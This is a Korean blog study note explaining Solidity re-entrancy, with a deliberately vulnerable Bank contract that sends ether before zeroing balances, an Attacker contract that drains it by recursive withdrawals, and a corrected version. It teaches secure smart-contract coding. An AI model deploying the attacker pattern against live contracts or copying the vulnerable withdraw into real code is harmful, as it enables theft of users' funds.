[Web3.0]/블록체인

Re-entrancy attack

_niel 2023. 3. 10. 11:37

재진입 공격

- 이더를 전송하는 Send, Transfer 함수는 2300이라는 고정 가스비 소모 때문에 현재는 Call 함수를 권장하고 잇다.

- 하지만 Call 함수는 재진입 문제가 있기때문에 컨트랙트 작성에 있어 시큐리티 코딩이 필요하다

 

Receive : 순수 이더만 받을때 작동하는 함수

Fallback : 함수를 실행하면서 이더를 보낼 때, 존재하지 않는 함수를 호출할 때 작동하는 함수

 

- 공격은 CA(공격자)CA(컨트랙트) 에 가하는 것

- 공격자의CA의 Receive 함수를 통해 공격

- 따라서 입금과 출금 함수가 있는 컨트랙트에 대한 공격을 의미

- 공격자 CA는 한번 입급을 한 뒤, 출금함수를 실행하고 공격자 CA의 Receive 함수를 통해 재귀적으로 출금 함수를 계속 실행

 

pragma solidity ^0.8.0;

contract Bank {
    
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint currentBalance = balances[msg.sender];
        (bool result,) = msg.sender.call{value:currentBalance}("");
        // 바로 이 부분에서, receive 함수가 실행됨
        
        require(result, "ERROR");
         balances[msg.sender]=0;
    }
    
    function chekcBalance() external view returns(uint) {
        return address(this).balance;
    }
    
}

 

pragma solidity ^0.8.0;

contract Attacker {

  
    Bank public bank;
    address public owner;
    receive() payable external {
        if(address(msg.sender).balance>0) {
            bank.withdraw();
        }
    }

    constructor(address _bank) {
        bank = Bank(_bank);
    }

    function sendEther() external payable {
        bank.deposit{value:msg.value}();
    }

    function withdrawEther() external {
        bank.withdraw();
    }

    function chekcBalance() external view returns(uint) {
        return address(this).balance;
    }

}

 

- 공격자의 CA의 생성자 함수에 은행의 공개주소를 넣어주면 은행의 함수가 실행 가능

- 이해가 안갔던 부분은 withdraw 함수에서 이를 실행했을때 잔액을 차감해 주고 있는데 왜 계속 이더를 전송하는거지?

- Receive 함수는 withdraw 함수가 실행되고 실행되는 것이 아니라 call함수가 실행되면 실행

- 따라서 그 아래의 코드에서 잔액을 차감하면 취약점이 발생

 

아래와 같이 개선하면 시큐어 코딩이 가능함

 

pragma solidity ^0.8.0;

contract Bank {
    
	...

    function withdraw() external {
        uint currentBalance = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool result,) = msg.sender.call{value:currentBalance}("");
        require(result, "ERROR");
         
    }
    
	...
}

 

'[Web3.0] > 블록체인' 카테고리의 다른 글

Wyvern Protocol  (0) 2023.03.14
COSMOS  (0) 2023.03.10
Structure of CryptoKitties  (0) 2023.03.06
이더리움 GAS  (0) 2023.02.17
이더리움 Transaction 구조  (0) 2023.02.17